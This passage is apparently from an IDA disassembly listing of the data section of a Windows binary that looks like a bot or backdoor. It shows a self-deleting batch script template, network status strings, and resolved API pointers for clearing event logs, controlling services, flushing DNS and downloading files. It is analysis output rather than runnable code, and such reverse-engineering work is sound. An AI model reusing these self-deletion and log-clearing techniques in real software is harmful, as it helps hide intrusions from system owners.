'AM',0 ; DATA XREF: sub_427BC4+49o align 10h aPm db 'PM',0 ; DATA XREF: sub_427BC4+3Eo align 8 a@echoOffRepe_0 db '@echo off',0Dh,0Ah ; DATA XREF: sub_427C81:loc_427D5Eo db ':Repeat',0Dh,0Ah db 'del "%s">nul',0Dh,0Ah db 'if exist "%s" goto Repeat',0Dh,0Ah db 'del "%%0"',0Dh,0Ah,0 align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_427C81+D6o db ':Repeat',0Dh,0Ah db 'del "%s">nul',0Dh,0Ah db 'ping 127.0.0.1>nul',0Dh,0Ah db 'if exist "%s" goto Repeat',0Dh,0Ah db 'del "%%0"',0Dh,0Ah,0 align 4 aSSIIII_bat db '%s\%s%i%i%i%i.bat',0 ; DATA XREF: sub_427C81+78o align 4 aExplorer_exe db 'Explorer.exe',0 ; DATA XREF: sub_427F60+93o align 4 a__ db '..',0 ; DATA XREF: sub_42810F+AFo align 10h a_ db '\*.*',0 ; DATA XREF: sub_42810F+3Bo align 4 aSFailedToConne db '%s Failed to connect to HTTP server.',0 ; DATA XREF: sub_428248+1DEo align 10h aSCouldNotOpenA db '%s Could not open a connection.',0 ; DATA XREF: sub_428248+1D2o aSInvalidUrl_ db '%s Invalid URL.',0 ; DATA XREF: sub_428248+1BDo align 4 aSFailedToGetRe db '%s Failed to get requested URL from HTTP server.',0 ; DATA XREF: sub_428248:loc_4283F3o align 4 aSUrlVisited_ db '%s URL visited.',0 ; DATA XREF: sub_428248+1A4o asc_450DD8 db '*/*',0 ; DATA XREF: sub_428248+48o aSSPortsHitS db '%s %s, ports hit: (%s)',0 ; DATA XREF: sub_4284A5+3Eo align 4 aSD db '%s%d ',0 ; DATA XREF: sub_428660+19Do align 10h off_450E00 dd offset off_4374BC ; DATA XREF: .text:off_437F80o ; .text:00437FC4o ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h dword_450E20 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_450E30 dd offset off_4374BC ; DATA XREF: .text:off_438058o ; .text:00438094o ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h dword_450E50 dd 1B3Fh align 10h dd 9875h, 9873h off_450E68 dd offset sub_42A990 ; DATA XREF: sub_430B07r off_450E6C dd offset nullsub_2 ; DATA XREF: sub_42ABF8:loc_42AC3Ar off_450E70 dd offset nullsub_2 ; DATA XREF: sub_42AC8Br dword_450E74 dd 19930520h, 6 dup(0) ; sub_42ADA2+2o dd offset sub_4320A0 align 10h off_450EA0 dd offset off_4374BC ; DATA XREF: .text:off_4380D0o ; .text:0043810Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h off_450EC0 dd offset dword_677020 ; DATA XREF: sub_42BF84o ; sub_42C118+55o ... align 8 dd offset dword_677020 dd 101h dword_450ED0 dd 2 dup(0) dd 1000h, 0 dword_450EE0 dd 3 dup(0) ; sub_42DB65+50o ... dd 2, 1, 3 dup(0) dword_450F00 dd 3 dup(0) ; sub_42DB65+58o ... dd 2 dup(2), 7 dup(0) dword_450F30 dd 7Ch dup(0) dword_451120 dd 8 dup(0) ; sub_42C226+Do off_451140 dd offset sub_430B45 ; DATA XREF: sub_42C118+69o ; sub_42C67C+1Cr dword_451144 dd 2 ; sub_43235A+34r ... dd 10h, 0 off_451150 dd offset off_451150 ; DATA XREF: sub_42D3F9+Do ; sub_42D3F9+69o ... off_451154 dd offset off_451150 ; DATA XREF: sub_42D3F9:loc_42D479r ; sub_42D3F9+89w ... dd offset dword_451168 dd offset dword_451168 dword_451160 dd 0FFFFFFFFh ; sub_42D53D:loc_42D58Aw dd 0FFFFFFFFh dword_451168 dd 0F0h, 0F1h, 800h dup(0) ; .text:0045115Co off_453170 dd offset off_451150 ; DATA XREF: sub_42D53D+15r ; sub_42D53D+20w ... dword_453174 dd 1E0h ; sub_42B39A+A7r ... dword_453178 dd 0 ; sub_42DB50+6r off_45317C dd offset dword_676940 ; DATA XREF: sub_42DAC6+1Fr dd 7 dup(0) off_45319C dd offset dword_676970 ; DATA XREF: sub_42DAC6+17r dd 3 dup(0) off_4531AC dd offset dword_676988 ; DATA XREF: sub_42DAC6+Fr dd 3 dup(0) off_4531BC dd offset dword_676958 ; DATA XREF: sub_42DAC6+7r dd 7 dup(0) dd 0B42798h, 16h dup(0) off_453238 dd offset aNull_0 ; DATA XREF: sub_42DC7D:loc_42DFE1r ; sub_42DC7D+457r ; "(null)" off_45323C dd offset aNull ; DATA XREF: sub_42DC7D+259r ; "(null)" dword_453240 dd 0Bh ; sub_42E487+Fw ... dword_453244 dd 0D2D0920h, 5Dhdword_45324C dd 5Dh dword_453250 dd 1 dword_453254 dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch off_4533B8 dd offset word_4533C2 ; DATA XREF: sub_429E59:loc_429E89r ; sub_429E59:loc_429F46r ... dd offset word_4533C2 db 2 dup(0) word_4533C2 dw 20h ; DATA XREF: sub_434D3F+18r ; .text:off_4533B8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_4535C4 dd 1 ; sub_429E59:loc_429F2Er ... byte_4535C8 db 2Eh ; DATA XREF: sub_42E5F5:loc_42E8E9r ; sub_42E5F5+311r ... align 4 dd 1 dword_4535D0 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; sub_42F3E2:loc_42F466o dword_4535F8 dd 14h off_4535FC dd offset dword_437620 ; DATA XREF: sub_43022E:loc_43024Br dd 1Dh, 43761Ch, 1Ah, 437618h, 1Bh, 437610h, 1Fh, 437608h dd 13h, 437600h, 21h, 4375F8h, 0Eh, 4375F0h, 0Dh, 4375E8h dd 0Fh, 4375E0h, 10h, 4375D8h, 5, 4375D0h, 1Eh, 4375CCh dd 12h, 4375C8h, 20h, 4375C4h, 0Ch, 4375BCh, 0Bh, 4375B4h dd 15h, 4375ACh, 1Ch, 4375A4h, 19h, 43759Ch, 11h, 437594h dd 18h, 43758Ch, 16h, 437584h, 17h, 43757Ch, 22h, 437578h dd 23h, 437574h, 24h, 437570h dbl_4536D0 dq 1.797693134862316e308 ; DATA XREF: sub_42FF67+B7r ; sub_42FF67:loc_43004Er ... dd 0 dd 0FFF80000h dbl_4536E0 dq 1.797693134862316e308 ; DATA XREF: sub_42FF67+92r ; sub_42FF67:loc_430026r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_4536F8 dt 2.3562723457267347066e313 ; DATA XREF: sub_430416+Dr ; sub_430416+1Fr align 4 tbyte_453704 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_430416+31r align 10h dd 2 dup(43h), 20h dup(0) dd 43h, 20h dup(0) off_45381C dd offset sub_430A91 ; DATA XREF: sub_42A9A8+Fw ; sub_42DC7D+3AAr off_453820 dd offset sub_43073B ; DATA XREF: sub_42A9A8+5w ; sub_42DC7D+3E2r off_453824 dd offset sub_4307A1 ; DATA XREF: sub_42A9A8+14w ; sub_42E5F5+430r off_453828 dd offset sub_4306E1 ; DATA XREF: sub_42A9A8+1Ew ; sub_42DC7D+3CBr off_45382C dd offset sub_430789 ; DATA XREF: sub_42A9A8+28w off_453830 dd offset sub_430A91 ; DATA XREF: sub_42A9A8+32w align 8 dword_453838 dd 0C0000005h, 0Bh, 0 ; sub_42E555+7Bo dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_4538B0 dd 3 ; sub_430C27+86r ... dword_4538B4 dd 7 ; sub_430C27+8Cr ... dd 78h dword_4538BC dd 0Ah ; sub_4351A3+4r off_4538C0 dd offset a_cmd ; DATA XREF: sub_431128+109o ; ".cmd" dd offset a_bat ; ".bat" dd offset a_exe ; ".exe" off_4538CC dd offset a_com ; DATA XREF: sub_431128+E7o ; ".com" dd offset sub_4320A0 align 10h off_4538E0 dd offset sub_431BCC ; DATA XREF: sub_431C2D+29r off_4538E4 dd offset aNoError ; DATA XREF: sub_42BEF9:loc_42BF56r ; "No error" dd offset aOperationNotPe ; "Operation not permitted" dd offset aNoSuchFileOrDi ; "No such file or directory" dd offset aNoSuchProcess ; "No such process" dd offset aInterruptedFun ; "Interrupted function call" dd offset aInputOutputErr ; "Input/output error" dd offset aNoSuchDeviceOr ; "No such device or address" dd offset aArgListTooLong ; "Arg list too long" dd offset aExecFormatErro ; "Exec format error" dd offset aBadFileDescrip ; "Bad file descriptor" dd offset aNoChildProcess ; "No child processes" dd offset aResourceTempor ; "Resource temporarily unavailable" dd offset aNotEnoughSpace ; "Not enough space" dd offset aPermissionDeni ; "Permission denied" dd offset aBadAddress ; "Bad address" dd offset aUnknownError ; "Unknown error" dd offset aResourceDevice ; "Resource device" dd offset aFileExists ; "File exists" dd offset aImproperLink ; "Improper link" dd offset aNoSuchDevice ; "No such device" dd offset aNotADirectory ; "Not a directory" dd offset aIsADirectory ; "Is a directory" dd offset aInvalidArgumen ; "Invalid argument" dd offset aTooManyOpenF_0 ; "Too many open files in system" dd offset aTooManyOpenFil ; "Too many open files" dd offset aInappropriateI ; "Inappropriate I/O control operation" dd offset aUnknownError ; "Unknown error" dd offset aFileTooLarge ; "File too large" dd offset aNoSpaceLeftOnD ; "No space left on device" dd offset aInvalidSeek ; "Invalid seek" dd offset aReadOnlyFileSy ; "Read-only file system" dd offset aTooManyLinks ; "Too many links" dd offset aBrokenPipe ; "Broken pipe" dd offset aDomainError ; "Domain error" dd offset aResultTooLarge ; "Result too large" dd offset aUnknownError ; "Unknown error" dd offset aResourceDeadlo ; "Resource deadlock avoided" dd offset aUnknownError ; "Unknown error" dd offset aFilenameTooLon ; "Filename too long" dd offset aNoLocksAvailab ; "No locks available" dd offset aFunctionNotImp ; "Function not implemented" dd offset aDirectoryNotEm ; "Directory not empty" dd offset aIllegalByteSeq ; "Illegal byte sequence" dd offset aUnknownError ; "Unknown error" dword_453994 dd 2Bh ; sub_42BEF9:loc_42BF51r byte_453998 db 1 ; DATA XREF: sub_4326C8+EDr db 2, 4, 8 align 10h dword_4539A0 dd 3A4h dword_4539A4 dd 82798260h, 21h, 0dword_4539B0 dd 0DFA6h align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_453A90 dd 2 ; sub_4330A0+Eo ... off_453A94 dd offset aR6002FloatingP ; DATA XREF: sub_4330A0+FCr ; sub_4330A0+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 437CD4h, 9, 437CA8h, 0Ah, 437C84h, 10h, 437C58h dd 11h, 437C28h, 12h, 437C04h, 13h, 437BD8h, 18h, 437BA0h dd 19h, 437B78h, 1Ah, 437B40h, 1Bh, 437B08h, 1Ch, 437AE0h dd 78h, 437AD0h, 79h, 437AC0h, 7Ah, 437AB0h, 0FCh, 4476D0h dd 0FFh, 437AA0h dword_453B20 dd 2694h ; sub_42FC1C+46r ... dword_453B24 dd 7080h ; sub_4339B6+75w ... dword_453B28 dd 1 ; sub_4339B6+A2w ... dword_453B2C dd 0FFFFF1F0h ; sub_4339B6+ABw ... off_453B30 dd offset dword_545350 ; DATA XREF: .text:off_453BB0o dd 0Fh dup(0) off_453B70 dd offset dword_544450 ; DATA XREF: .text:off_453BB4o dd 0Fh dup(0) off_453BB0 dd offset off_453B30 ; DATA XREF: sub_4339B6+D0r ; sub_4339B6+EFr ... off_453BB4 dd offset off_453B70 ; DATA XREF: sub_4339B6+109r ; sub_4339B6+130r ... dword_453BB8 dd 0FFFFFFFFh ; sub_433C5E+1Er ... dword_453BBC dd 0 ; sub_433E0A+BFw dword_453BC0 dd 0 ; sub_433E0A+E0w align 8 dword_453BC8 dd 0FFFFFFFFh ; sub_433C5E+26r ... dword_453BCC dd 0 ; sub_433E0A+EAw ... dword_453BD0 dd 0 ; sub_433E0A+23r ... dword_453BD4 dd 0FFFFFFFFh dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_453C04 dd 16Dh ; sub_433E0A+2Er ... dword_453C08 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_453C40 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_453C58 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh, 2, 453C78h, 437F14h ; DATA XREF: sub_4344ACo dd 437F10h, 437F0Ch, 437F08h, 437F04h, 437F00h, 437EFCh dd 437EF4h, 437EECh, 437EE4h, 437ED8h, 437ECCh, 437EC4h dd 437EB8h, 437EB4h, 437EB0h, 437EACh, 437EA8h, 437EA4h dd 437EA0h, 437E9Ch, 437E98h, 437E94h, 437E90h, 437E8Ch dd 437E88h, 437E80h, 437E74h, 437E6Ch, 437E64h, 437EA4h dd 437E5Ch, 437E54h, 437E4Ch, 437E40h, 437E38h, 437E2Ch dd 437E20h, 450C4Ch, 450C50h, 437E18h, 437E04h, 437DFCh dd 0 dword_453D28 dd 2Eh, 0 dd offset dword_453D28 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd offset dword_676C70 dd 2 dup(7F7F7F7Fh), 453D30h, 3 dup(0) dword_453D70 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_453ED0 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_436254+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 dword_454030 dd 2 dup(0) word_454038 dw 0 ; DATA XREF: sub_401136+13o ; sub_408029+2Fr ... align 10h dword_454040 dd 0 ; sub_402BD7+9w dword_454044 dd 0 ; sub_402BD7+21r dword_454048 dd 0 ; sub_402BD7+2Er dd 23h dup(0) dword_4540D8 dd 0 ; sub_40222C+B1w ... dword_4540DC dd 0 ; sub_402459+19Ar ... dd 198h dup(0) dword_454740 dd 3 dup(0) dword_45474C dd 6 dup(0) ; sub_402459+201o ... dword_454764 dd 3 dup(0) dword_454770 dd 0 dword_454774 dd 41h dup(0) dword_454878 dd 41h dup(0) dword_45497C dd 0 ; sub_4020BA+FEr dword_454980 dd 0 dword_454984 dd 0 ; sub_4020BA+BEr dword_454988 dd 23h dup(0) dword_454A14 dd 0 ; sub_4020BA:loc_4021D9r dword_454A18 dd 0 dword_454A1C dd 0 ; sub_402CE9+8Fr ... dword_454A20 dd 4 dup(0) dword_454A30 dd 0 ; sub_402CE9+58w ... dword_454A34 dd 0 ; resolved to->NTDLL.RtlInitUnicodeString ; sub_402822+35r ... dword_454A38 dd 0 ; resolved to->NTDLL.ZwOpenSection ; sub_40292F+62r ... dword_454A3C dd 0 ; sub_402822+2Dr ... dword_454A40 dd 0 ; sub_402A0Er ... dword_454A44 dd 0 ; sub_40292F+7Fr ... dword_454A48 dd 0 ; sub_40A9FE+5F2Bw ... dword_454A4C dd 0 ; sub_40A9FE+2231w ... dword_454A50 dd 0 ; sub_402CE9:loc_40318Er ... byte_454A54 db 0 ; DATA XREF: sub_401E9E+37r ; sub_40541D+8Eo ... align 4 dword_454A58 dd 20h dup(0) ; sub_40366B+14o dword_454AD8 dd 0 ; sub_4066E2+43w align 10h dword_454AE0 dd 6 dup(0) ; sub_4066E2+314o ... dword_454AF8 dd 0 ; sub_4066E2+3C9o dword_454AFC dd 0 ; sub_4066E2+3D5o dword_454B00 dd 0 ; sub_4066E2+3E6o dword_454B04 dd 0 ; sub_4066E2+3F5o dword_454B08 dd 0 ; sub_4066E2+401o dword_454B0C dd 0 ; sub_4066E2+411o dword_454B10 dd 0 ; sub_4066E2+41Do dword_454B14 dd 0 ; sub_4066E2+42Do dword_454B18 dd 0B2h dup(0) ; sub_4066E2+441o dword_454DE0 dd 0 dword_454DE4 dd 0 dword_454DE8 dd 0 dword_454DEC dd 0 dword_454DF0 dd 0 dword_454DF4 dd 0 dword_454DF8 dd 53h dup(0) dword_454F44 dd 0 dword_454F48 dd 0 dword_454F4C dd 0 dword_454F50 dd 0 dword_454F54 dd 0 dword_454F58 dd 0 dword_454F5C dd 0 dword_454F60 dd 0 ; sub_406429+EBr ... align 8 dword_454F68 dd 96h dup(0) ; sub_4066E2+289o ... dword_4551C0 dd 3 dup(0) dword_4551CC dd 3 dup(0) dword_4551D8 dd 9 dup(0) dword_4551FC dd 3 dup(0) dword_455208 dd 9 dup(0) dword_45522C dd 49h dup(0) dword_455350 dd 10h dup(0) dword_455390 dd 0 dword_455394 dd 0 ; sub_405C99+439o dword_455398 dd 0 ; sub_4066E2+514r ... dword_45539C dd 0 ; sub_4066E2+50Ar dword_4553A0 dd 0 ; sub_4066E2:loc_406BC7r dword_4553A4 dd 2 dup(0) ; sub_4066E2+22Co ... dword_4553AC dd 0 dword_4553B0 dd 0 dword_4553B4 dd 41h dup(0) dword_4554B8 dd 41h dup(0) dword_4555BC dd 0 ; sub_406C69+EAr dword_4555C0 dd 0 dword_4555C4 dd 0 ; sub_406C69+56w ... dword_4555C8 dd 23h dup(0) dword_455654 dd 0 ; sub_406C69:loc_406D74r dword_455658 dd 0 dd 19h dup(0) dword_4556C0 dd 0 ; .text:00408B71w ... align 8 byte_4556C8 db 0 ; DATA XREF: .text:0040825Eo ; .text:004087B3r ... align 4 dd 3Fh dup(0) dword_4557C8 dd 3 dup(0) dword_4557D4 dd 0 ; sub_409EE2+C0r dword_4557D8 dd 0 align 10h dword_4557E0 dd 0 align 8 byte_4557E8 db 0 ; DATA XREF: sub_409EE2+BAo ; sub_409FC8+63o byte_4557E9 db 3 dup(0) ; DATA XREF: sub_409FC8+74o dd 1FEh dup(0) db 2 dup(0) word_455FE6 dw 0 ; DATA XREF: sub_409FC8+CFo dd 8Ah dup(0) dword_456210 dd 0 ; sub_40A7C5:loc_40A90Bw align 8 dword_456218 dd 4 dup(0) dword_456228 dd 0 dword_45622C dd 41h dup(0) dword_456330 dd 41h dup(0) dword_456434 dd 0 ; sub_40A9FE+226Cr ... dword_456438 dd 0 dword_45643C dd 0 ; sub_40A9FE+21BDw ... dword_456440 dd 23h dup(0) dword_4564CC dd 0 ; sub_40A9FE:loc_40CC8Er dword_4564D0 dd 0 align 8 dword_4564D8 dd 0 ; sub_40A9FE+672Co dd 20h dup(0) dword_45655C dd 0 ; sub_40A9FE+673Er dd 0Ah dup(0) dword_456588 dd 0 dword_45658C dd 0 dd 0 dword_456594 dd 0 ; sub_40A9FE:loc_4111A7r align 10h dword_4565A0 dd 80h dup(0) ; sub_401B6E+265o ... dword_4567A0 dd 0 ; sub_401B6E+259r ... align 8 dword_4567A8 dd 80h dup(0) ; sub_406429+1DFo ... dword_4569A8 dd 80h dup(0) ; sub_406429+1DAo ... dword_456BA8 dd 80h dup(0) ; sub_406429:loc_4065BDo ... dword_456DA8 dd 0 ; sub_401B6E+81w ... dword_456DAC dd 0 ; resolved to->GDI32.DeleteDC ; sub_417362+66Fr dword_456DB0 dd 0 ; resolved to->KERNEL32.Module32Firstdword_456DB4 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_417362+9A0w ... dword_456DB8 dd 0 ; sub_417362+BE5r dword_456DBC dd 0 ; sub_417362+BB5r ... dword_456DC0 dd 0 ; resolved to->GDI32.SelectObject ; sub_417362+65Fr dword_456DC4 dd 0 ; sub_417362+BDDr dword_456DC8 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_417362+404w ... dword_456DCC dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41BE01+177r dword_456DD0 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_4051EF+12Br ... dword_456DD4 dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_417362+4FEr dword_456DD8 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_402CE9+162r ... dword_456DDC dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_417362+DFr dword_456DE0 dd 0 ; sub_417362+BA8r ... dword_456DE4 dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_4051EF:loc_4052EAr ... dword_456DE8 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_417362+A5Br ... dword_456DEC dd 0 ; resolved to->USER32.GetWindowThreadProcessId ; sub_417362+277r dword_456DF0 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_417362+359r ... dword_456DF4 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_417362+A53r ... dword_456DF8 dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_417362+107r dword_456DFC dd 0 ; resolved to->WININET.InternetReadFile ; sub_417362+A63r ... dword_456E00 dd 0 ; resolved to->ADVAPI32.LockServiceDatabase ; sub_417362+50Er ... dword_456E04 dd 0 ; resolved to->ADVAPI32.RegEnumValueA ; sub_417362+379r ... dword_456E08 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_417362+861r dword_456E0C dd 0 ; resolved to->KERNEL32.Process32Next ; sub_417362+D7r dword_456E10 dd 0 ; resolved to->IPHLPAPI.IcmpSendEchodword_456E14 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_417362+C33w ... dword_456E18 dd 0 ; resolved to->WININET.FtpGetFileAdword_456E1C dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_417362+FFr dword_456E20 dd 0 ; sub_417362+EAFr ... dword_456E24 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_417362+657r dword_456E28 dd 0 ; resolved to->WS2_32.ntohl ; sub_407281+F6r ... dword_456E2C dd 0 ; sub_417362+B6Dw ... dword_456E30 dd 0 ; resolved to->WS2_32.ntohs ; sub_417362+8E5r ... dword_456E34 dd 0 ; sub_417362+D4Cw dword_456E38 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_417362+A1Cr ... dword_456E3C dd 0 ; resolved to->USER32.ExitWindowsExdword_456E40 dd 0 ; sub_417362+BBDr ... dword_456E44 dd 0 ; resolved to->ADVAPI32.ControlService ; sub_417362+4DEr ... dword_456E48 dd 0 ; resolved to->ADVAPI32.OpenThreadToken ; sub_417362+3BEr ... dword_456E4C dd 0 ; resolved to->ADVAPI32.CloseEventLog ; sub_417362+587w ... dword_456E50 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_4051EF+136r ... dword_456E54 dd 0 ; resolved to->WS2_32.getpeernamedword_456E58 dd 0 ; resolved to->WS2_32.WSACleanup ; sub_417362+705w ... dword_456E5C dd 0 ; resolved to->GDI32.DeleteObjectdword_456E60 dd 0 ; sub_417362+B94w ... dword_456E64 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_417362+361r ... dword_456E68 dd 0 ; resolved to->ADVAPI32.RegEnumKeyExA ; sub_420F6C+8Ar ... dword_456E6C dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_417362+E7r dword_456E70 dd 0 ; resolved to->ADVAPI32.SetServiceStatus ; sub_422009+12Ar ... dword_456E74 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_417362+D99w ... dword_456E78 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_417362+844r ... dword_456E7C dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_417362+A3Fr ... dword_456E80 dd 0 ; resolved to->USER32.CloseWindow ; sub_417362+1C6r dword_456E84 dd 0 ; sub_417362+B53w ... dword_456E88 dd 0 ; resolved to->ADVAPI32.QueryServiceLockStatusA ; sub_417362+516r ... dword_456E8C dd 0 ; sub_417362+E3Br dword_456E90 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_417362+57Aw ... dword_456E94 dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_417362+ADDr dword_456E98 dd 0 ; resolved to->ADVAPI32.RegDeleteKeyA ; sub_417362+369r ... dword_456E9C dd 0 dword_456EA0 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_417362+56Dw ... dword_456EA4 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_417362+879r dword_456EA8 dd 0 ; resolved to->WININET.InternetOpenA ; sub_417362+A22r dword_456EAC dd 0 ; resolved to->SHLWAPI.PathRemoveFileSpecA ; sub_4182BA+305r ... dword_456EB0 dd 0 ; resolved to->USER32.IsWindow ; sub_417362+1E3r dword_456EB4 dd 0 ; resolved to->IPHLPAPI.GetNetworkParamsdword_456EB8 dd 0 ; resolved to->WS2_32.getsockname ; sub_40A9FE+9997r ... dword_456EBC dd 0 ; resolved to->WS2_32.connect ; sub_401B6E+76r ... dword_456EC0 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_417362+86Dr ... dword_456EC4 dd 0 ; resolved to->ADVAPI32.RegQueryInfoKeyA ; sub_421126+7Ar dword_456EC8 dd 0 ; resolved to->USER32.GetWindowInfo ; sub_417362+26Fr dword_456ECC dd 0 ; resolved to->USER32.ShowWindow ; sub_417362+27Fr dword_456ED0 dd 0 ; sub_417362:loc_417E0Aw ... dword_456ED4 dd 0 ; resolved 